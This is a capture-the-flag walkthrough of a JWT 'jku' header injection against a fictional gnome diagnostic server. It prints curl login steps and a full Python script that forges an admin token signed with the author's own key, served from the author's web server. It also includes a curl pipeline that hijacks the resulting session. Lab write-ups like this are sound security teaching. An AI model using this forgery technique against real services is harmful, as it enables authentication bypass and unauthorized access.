Rogue Gnome Identity Provider

  Challenge Progession:
Act II
Difficulty:
  Location:
Dosis Neighborhood
Rogue Gnome
Old Credentials

Speaking to Paul in the park, he is trying to discover the name of the firmware file the gnomes are downloading. He has done some partial research already and saved the notes for us. He has tried the gnome:SittingOnAShelf creds from way back in 2015 but they don't have sufficient access. Lets see if we can find a way in. (Nevermind that perfectly innocent looking snow man.)

Learn the Process

So to get started I checked out Paul's notes. I will post the important bits here.

## Gnome credentials (found on a post-it):
Gnome:SittingOnAShelf

# Curl Commands Used in Analysis of Gnome:
## Gnome Diagnostic Interface authentication required page:
curl http://gnome-48371.atnascorp

## Request IDP Login Page
curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth

## Authenticate to IDP
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login

## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>

## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=<insert-session>' http://gnome-48371.atnascorp/diagnostic-interface

## Analyze the JWT
jwt_tool.py <insert-JWT>
Paul saves us some legwork by laying out the curl commands to fetch the JWT and get a session token. The process is simple and is very common in today's web applications:
  • Login to the Gnome Diagnostic server with known credentials.
  • The Gnome Diagnostic server produces a JWT (JSON Web Token).
  • Submit a request to the IDP server to get a valid session cookie.
  • Use that session cookie to authenticate to the Gnome Diagnostic server.
Also note that Paul has included the tool JWT_Tool aka JSON Web Token Toolkit v2. We can use this tool to checkout any JWT's we find or even manipulate them.

I ran through the process using Paul's notes and curl commands. First I submitted the credentials to the Gnome Diagnostic server.

$ curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/loginp/login
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU2NjE4OCwiZXhwIjoxNzY3NTczMzg4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.X_3G4qMtlye33vXxoqSIgh4DHNBm0Cj9yAA1Y8cnpTblgtwIjcqO815L0Ox1k2ATyoL6PYmcBnx-qPUyEt3fybnFvhkpPAfTkdBYqOl2jI_rElBkNMl3wnzZ10rRPs6MHq4w0r6MutpmgMtluOE2vXSX7CjwuzA9Wl0wQCHBw6cdrMrAywOqY4YbYtWEY-30LmZNCHu1smTltyqs2aK076A_Fy99yyriE82ypTfVjipWOsVXf9MG49c9P7eJj-qGbTTOnnUTyBS8cGl_dGE5_4l8U-oKgJgOHIuaYIGmCrR7oL5lBj9krAHFdtXOo4Cyf3z9ao0ZBOBpKLpKwwEuOw">http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU2NjE4OCwiZXhwIjoxNzY3NTczMzg4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.X_3G4qMtlye33vXxoqSIgh4DHNBm0Cj9yAA1Y8cnpTblgtwIjcqO815L0Ox1k2ATyoL6PYmcBnx-qPUyEt3fybnFvhkpPAfTkdBYqOl2jI_rElBkNMl3wnzZ10rRPs6MHq4w0r6MutpmgMtluOE2vXSX7CjwuzA9Wl0wQCHBw6cdrMrAywOqY4YbYtWEY-30LmZNCHu1smTltyqs2aK076A_Fy99yyriE82ypTfVjipWOsVXf9MG49c9P7eJj-qGbTTOnnUTyBS8cGl_dGE5_4l8U-oKgJgOHIuaYIGmCrR7oL5lBj9krAHFdtXOo4Cyf3z9ao0ZBOBpKLpKwwEuOw</a>. If not, click the link.
The server returns a JWT token in the URL. I copied and pasted this url in the next command:
$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU2NjE4OCwiZXhwIjoxNzY3NTczMzg4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.X_3G4qMtlye33vXxoqSIgh4DHNBm0Cj9yAA1Y8cnpTblgtwIjcqO815L0Ox1k2ATyoL6PYmcBnx-qPUyEt3fybnFvhkpPAfTkdBYqOl2jI_rElBkNMl3wnzZ10rRPs6MHq4w0r6MutpmgMtluOE2vXSX7CjwuzA9Wl0wQCHBw6cdrMrAywOqY4YbYtWEY-30LmZNCHu1smTltyqs2aK076A_Fy99yyriE82ypTfVjipWOsVXf9MG49c9P7eJj-qGbTTOnnUTyBS8cGl_dGE5_4l8U-oKgJgOHIuaYIGmCrR7oL5lBj9krAHFdtXOo4Cyf3z9ao0ZBOBpKLpKwwEuOw
* Host gnome-48371.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:80...
* Connected to gnome-48371.atnascorp (127.0.0.1) port 80
> GET /auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU2NjE4OCwiZXhwIjoxNzY3NTczMzg4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.X_3G4qMtlye33vXxoqSIgh4DHNBm0Cj9yAA1Y8cnpTblgtwIjcqO815L0Ox1k2ATyoL6PYmcBnx-qPUyEt3fybnFvhkpPAfTkdBYqOl2jI_rElBkNMl3wnzZ10rRPs6MHq4w0r6MutpmgMtluOE2vXSX7CjwuzA9Wl0wQCHBw6cdrMrAywOqY4YbYtWEY-30LmZNCHu1smTltyqs2aK076A_Fy99yyriE82ypTfVjipWOsVXf9MG49c9P7eJj-qGbTTOnnUTyBS8cGl_dGE5_4l8U-oKgJgOHIuaYIGmCrR7oL5lBj9krAHFdtXOo4Cyf3z9ao0ZBOBpKLpKwwEuOw HTTP/1.1
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 FOUND
< Date: Sun, 04 Jan 2026 22:38:49 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aVrr-Q.eRUmP0QV7PI9HaHNE4X0GxQnp6c; HttpOnly; Path=/
< 
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
Notice that this request sent to the IDP server sets a cookie called "session". I copied this session cooking into the request for the Diagnostic Server.
$ curl -H 'Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aVrr-Q.eRUmP0QV7PI9HaHNE4X0GxQnp6c' http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
    <title>AtnasCorp : Gnome Diagnostic Interface</title>
    <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<p>Welcome gnome</p><p>Diagnostic access is only available to admins.</p>

</body>
</html>
Just as expected we do not have admin priveleges to access the diagnostic interface. Lets take a look at that JWT next...

JWT Inspecting

JWT's themselves are just a series of 3 base64 (url-safe) encoded JSON objects separated by a period. There is a header, which specifies the hashing algorithm for the signature, expiration, and other metadata about the token. After the header there is the payload, which contains the data or "claims" of the token such as user id, role, etc... The last bit is the signature. The signature is generated cryptographically by hashing the header and payload using the specified algorthm and appending that to the end. The server can verify the signature on the serverside and if the signatures don't match, the authentication will fail. This prevents us from tampering with the JWT, because the signature will not match. To read more on JWT check out jwt.io, a great tool that decodes JWT's and explains what the fields are.

So if JWT's are so secure, then how do they get exploited? First lets look at the JWT that the Diagnostic server gave us. I ran it through JWT_Tool:

jwt_tool.py eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU2NjE4OCwiZXhwIjoxNzY3NTczMzg4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.X_3G4qMtlye33vXxoqSIgh4DHNBm0Cj9yAA1Y8cnpTblgtwIjcqO815L0Ox1k2ATyoL6PYmcBnx-qPUyEt3fybnFvhkpPAfTkdBYqOl2jI_rElBkNMl3wnzZ10rRPs6MHq4w0r6MutpmgMtluOE2vXSX7CjwuzA9Wl0wQCHBw6cdrMrAywOqY4YbYtWEY-30LmZNCHu1smTltyqs2aK076A_Fy99yyriE82ypTfVjipWOsVXf9MG49c9P7eJj-qGbTTOnnUTyBS8cGl_dGE5_4l8U-oKgJgOHIuaYIGmCrR7oL5lBj9krAHFdtXOo4Cyf3z9ao0ZBOBpKLpKwwEuOw
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "RS256"
[+] jku = "http://idp.atnascorp/.well-known/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"

Token payload values:
[+] sub = "gnome"
[+] iat = 1767566188    ==> TIMESTAMP = 2026-01-04 22:36:28 (UTC)
[+] exp = 1767573388    ==> TIMESTAMP = 2026-01-05 00:36:28 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = False

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins
The token seems normal at first glance. The algorithm is RSA or more specifically RSASSA-PKCS1-v1_5 using SHA-256. There are "issued at" and "expiration" claims as well as our admin status. Our "borrowed" crentials have admin set to false. We need to set this value to true in order to get access to the Diagnostic server.

The only out of place thing I see are the "jku" header. JKU is a header to specify a URI which is used to retrieve the public key used to sign the token. This is is an unusual header because typically the server already knows where to find the public key on the serverside and doesn't need to rely on the token itself to specify it. Also and more importantly, if the server implicitly trusts the source of the key, they could be in trouble!

The Exploit

Targeting this JKU header is the best lead so far. This type of vulnerability is outlined here by PortSwigger.

IF the server trusts that JKU header, we can exploit this in the following way:

  • Generate our own RSA key pair.
  • Manipulate the JWT to say admin is true.
  • Host our public key on a webserver
  • Set the JKU URI to point to our own public key.
  • Generate a new signature
  • Submit the fraudulent JWT

Fraudulent Token

I first used ssh-keygen to generate an RSA public/private key pair and saved them to my local machine in PEM format.

ssh-keygen -t rsa -b 2048
I saved them as priv.pem, and pub.pem. I then created a python script to generate the JWKS json file that needs to be hosted on my server. This JWKS file is the file that specifies the public that will be used to verify the token. To learn more about this file format check it Mhere

I used a python library called jwcrypto. This library makes generating the JWKS file and manipulating the token easy. The script generates the jwks.json file, manipulates the claim to be admin = true, then sets the expiration to be 2 hours from now. It also runs a test to see if the jwks.json file can be retrieved and used properly, but this will fail until the jwks.json file is uploaded. My server runs at ip "104.237.141.134", so the JKU header will specify "http://104.237.141.134/jwks.json" as the URL. Here is the script and the output:

import json
import datetime
import jwt
from jwcrypto import jwk

def test_jwk(token, jwk_url):
    jwks_client = jwt.PyJWKClient(jwk_url)
    signing_key = jwks_client.get_signing_key_from_jwt(token)
    return jwt.decode(token,signing_key,algorithms=["RS256"])

def gen_jwk(public_key_bytes):
    jwk_key = jwk.JWK.from_pem(public_key_bytes)
    jwk_key.update(use="sig", kid="idp-key-2025")
    return jwk_key.export_public()

if __name__ == "__main__":
    pub_key_file = "pub.pem"
    priv_key_file = "priv.pem"
    # Issued 5 mins ago
    issued = round(datetime.datetime.now().timestamp()) - (60*5)

    # 2 hour expiry
    exp = issued + (60*60*2) 
    jwk_url = "http://104.237.141.134/jwks.json"

    #Loading Public and Private Keys
    with open(priv_key_file, "rb") as f:
        priv_key_bytes = f.read()
    
    with open(pub_key_file, "rb") as f:
        pub_key_bytes = f.read()

    print("Generating File: jwks.json")
    pub_key_jwk = json.loads(gen_jwk(pub_key_bytes))
    jwks_obj = {
        "keys": [
            pub_key_jwk
        ]
    }
    print(json.dumps(jwks_obj, indent=2))
    print()

    print("Generating Forged JWT:")
    headers = {
        "jku": "http://104.237.141.134/jwks.json",
        "kid": "idp-key-2025"
    }
    payload = {
        "sub": "gnome",
        "iat": issued,
        "exp": exp,
        "iss": "http://idp.atnascorp/",
        "admin": True
    }
    jwt_obj = jwt.encode(payload, priv_key_bytes, headers=headers, algorithm="RS256")
    print(jwt_obj)
    print()

    print("Testing Local Public Key Decode:")
    try:
        local_token = jwt.decode(jwt_obj, pub_key_bytes, algorithms=["RS256"])
        print("\tSuccess!")

    except Exception as e:
        print("\tError Decoding JWT...")
        print("\t" + str(e))
        local_token = None


    print()
    print("Testing Web JWK Decode")
    try:
        jwks_token = test_jwk(jwt_obj, jwk_url)
        print("\tSuccess!")
    except Exception as e:
        print("Error Decoding JWT with web jwks.json...")
        print("\t" + str(e))
        jwks_token = None

    print()
    if jwks_token is not None and local_token is not None:
        print("Paste this command in the challenge terminal:")
        print(f"curl -v http://gnome-48371.atnascorp/auth?token={jwt_obj}")
        print(f"curl -v -I http://gnome-48371.atnascorp/auth?token={jwt_obj} | grep -oP '(?<=session=)(.*?)(?=;)' | xargs -I {{}} curl -H 'Cookie: session={{}}' http://gnome-48371.atnascorp/diagnostic-interface | grep -oP '(?<=available:\\s)(.*?)(?=<)' | xargs -I {{}} echo 'Enter Into Badge: {{}}'")
    else:
        print("There were issues validating the forged token.")
I ran the script to generate the jwks.json file. Remember the token won't validate until the json file is uploaded, so you will see an error on the first run.
{
  "keys": [
    {
      "e": "AQAB",
      "kid": "idp-key-2025",
      "kty": "RSA",
      "n": "UqGxBUu7s-1ShyiTkIryM5XdZp8xT4jVb1bYX2li2FRMT60R6t5-cNYXdMnkc71B6wqrOM2eQWyZkW8rT7qypYn7UEUrX5eGhv_q7gDPxJNHySsvAfFTl7QlZ273BmH5Qy81bWLGlzlnr4sbp9HxAvld4vBY5Pi-s9xWkrCrmmoiCxsRWw9wbWFTAyqKr-l5oi_gnKfvc4fV5QY4ktLQv0QOe8RdctF4k-zZ6fqPjr0k1ZtLJswEFVNGQwqUfbggwK5S1tQHyMIDERGJsfGhXraaEeJxN5FOK2Se6nJ_RfeW0BxlEByIlgmNUMhbumjolsmchGSDBBCZQPbrSP2tXQ",
      "use": "sig"
    }
  ]
}
I uploaded that file on my webserver and ran a simple python http server:
python3 -m http.server 80
One last thing about my script is that it generates and prints out the curl commands necessary to complete the challenge. This is just for convenience as I was tired of copying and pasting tokens and headers into curl. Here is the script output once the jwks.json is hosted:
Generating File: jwks.json
{
  "keys": [
    {
      "e": "AQAB",
      "kid": "idp-key-2025",
      "kty": "RSA",
      "n": "UqGxBUu7s-1ShyiTkIryM5XdZp8xT4jVb1bYX2li2FRMT60R6t5-cNYXdMnkc71B6wqrOM2eQWyZkW8rT7qypYn7UEUrX5eGhv_q7gDPxJNHySsvAfFTl7QlZ273BmH5Qy81bWLGlzlnr4sbp9HxAvld4vBY5Pi-s9xWkrCrmmoiCxsRWw9wbWFTAyqKr-l5oi_gnKfvc4fV5QY4ktLQv0QOe8RdctF4k-zZ6fqPjr0k1ZtLJswEFVNGQwqUfbggwK5S1tQHyMIDERGJsfGhXraaEeJxN5FOK2Se6nJ_RfeW0BxlEByIlgmNUMhbumjolsmchGSDBBCZQPbrSP2tXQ",
      "use": "sig"
    }
  ]
}

Generating Forged JWT:
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMDQuMjM3LjE0MS4xMzQvandrcy5qc29uIiwia2lkIjoiaWRwLWtleS0yMDI1IiwidHlwIjoiSldUIn0.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU3MTQ0OCwiZXhwIjoxNzY3NTc4NjQ4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.QGzDhrBWFYlVRz3WdbCRRLMLveebjTAIUxwIFL7a60IxR3fRgzQ4SKueFMyP562jWRr8_CtntEKt5QQJQnIXa3Q4pkiPR-Bu5gYkhwguzmPp6X_BTpQ9fQZ-hTRa0PfxhOu9frVpuya7sf3gWfgt8pwpFqF-uMYzc-m2Augh_4idlt0NGIdbzR4hvuaywXhMb_LhP8XqBfICYy5yiTgkaUCIhBbziMZjd9n8jeaRJKCyJBCLUNHRmwqwiO7kEsyxDKGGSVHwJM_Kor-txcRFEejRA3SC2b4LqlyXv40mNA_DWY_e7Vzna_I2KWu2XdOpNeVGQmbmUowjiV-dcPa_Eg

Testing Local Public Key Decode:
        Success!

Testing Web JWK Decode
        Success!

Paste this command in the challenge terminal:
curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMDQuMjM3LjE0MS4xMzQvandrcy5qc29uIiwia2lkIjoiaWRwLWtleS0yMDI1IiwidHlwIjoiSldUIn0.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU3MTQ0OCwiZXhwIjoxNzY3NTc4NjQ4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.QGzDhrBWFYlVRz3WdbCRRLMLveebjTAIUxwIFL7a60IxR3fRgzQ4SKueFMyP562jWRr8_CtntEKt5QQJQnIXa3Q4pkiPR-Bu5gYkhwguzmPp6X_BTpQ9fQZ-hTRa0PfxhOu9frVpuya7sf3gWfgt8pwpFqF-uMYzc-m2Augh_4idlt0NGIdbzR4hvuaywXhMb_LhP8XqBfICYy5yiTgkaUCIhBbziMZjd9n8jeaRJKCyJBCLUNHRmwqwiO7kEsyxDKGGSVHwJM_Kor-txcRFEejRA3SC2b4LqlyXv40mNA_DWY_e7Vzna_I2KWu2XdOpNeVGQmbmUowjiV-dcPa_Eg
curl -v -I http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMDQuMjM3LjE0MS4xMzQvandrcy5qc29uIiwia2lkIjoiaWRwLWtleS0yMDI1IiwidHlwIjoiSldUIn0.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NzU3MTQ0OCwiZXhwIjoxNzY3NTc4NjQ4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.QGzDhrBWFYlVRz3WdbCRRLMLveebjTAIUxwIFL7a60IxR3fRgzQ4SKueFMyP562jWRr8_CtntEKt5QQJQnIXa3Q4pkiPR-Bu5gYkhwguzmPp6X_BTpQ9fQZ-hTRa0PfxhOu9frVpuya7sf3gWfgt8pwpFqF-uMYzc-m2Augh_4idlt0NGIdbzR4hvuaywXhMb_LhP8XqBfICYy5yiTgkaUCIhBbziMZjd9n8jeaRJKCyJBCLUNHRmwqwiO7kEsyxDKGGSVHwJM_Kor-txcRFEejRA3SC2b4LqlyXv40mNA_DWY_e7Vzna_I2KWu2XdOpNeVGQmbmUowjiV-dcPa_Eg | grep -oP '(?<=session=)(.*?)(?=;)' | xargs -I {} curl -H 'Cookie: session={}' http://gnome-48371.atnascorp/diagnostic-interface | grep -oP '(?<=available:\s)(.*?)(?=<)' | xargs -I {} echo 'Enter Into Badge: {}'
I copied and pasted the curl command in the challenge terminal:
Success!
The firmware name is "refrigeration-botnet.bin". Enter that in your badge to complete the challenge!

If you wanted to see what the Gnome Diagnostic server response looks like here it is.

$ curl -H 'Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aVsDSw.WBjJmf1dG-pOk4wVgPT74QU6beU' http://gnome-48371.atnascorp/diagnostic-interface

<!DOCTYPE html>
<html>
<head>
    <title>AtnasCorp : Gnome Diagnostic Interface</title>
    <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<div style='display:flex; justify-content:center; gap:10px;'>
<img src='/camera-feed' style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0;' />
<div style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0; display:flex; align-items:flex-start; justify-content:flex-start; text-align:left;'>
System Log<br/>
2026-01-04 18:14:41: Movement detected.<br/>
2026-01-04 20:40:01: AtnasCorp C&C connection restored.<br/>
2026-01-04 22:31:00: Checking for updates.<br/>
2026-01-04 22:31:00: Firmware Update available: refrigeration-botnet.bin<br/>
2026-01-04 22:31:02: Firmware update downloaded.<br/>
2026-01-04 22:31:02: Gnome will reboot to apply firmware update in one hour.</div>
</div>
<div class="statuscheck">
    <div class="status-container">
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Live Camera Feed</span>
        </div>
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Network Connection</span>
        </div>
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Connectivity to Atnas C&C</span>
        </div>
    </div>
</div>

</body>
</html>
Note the firmare filename in the response!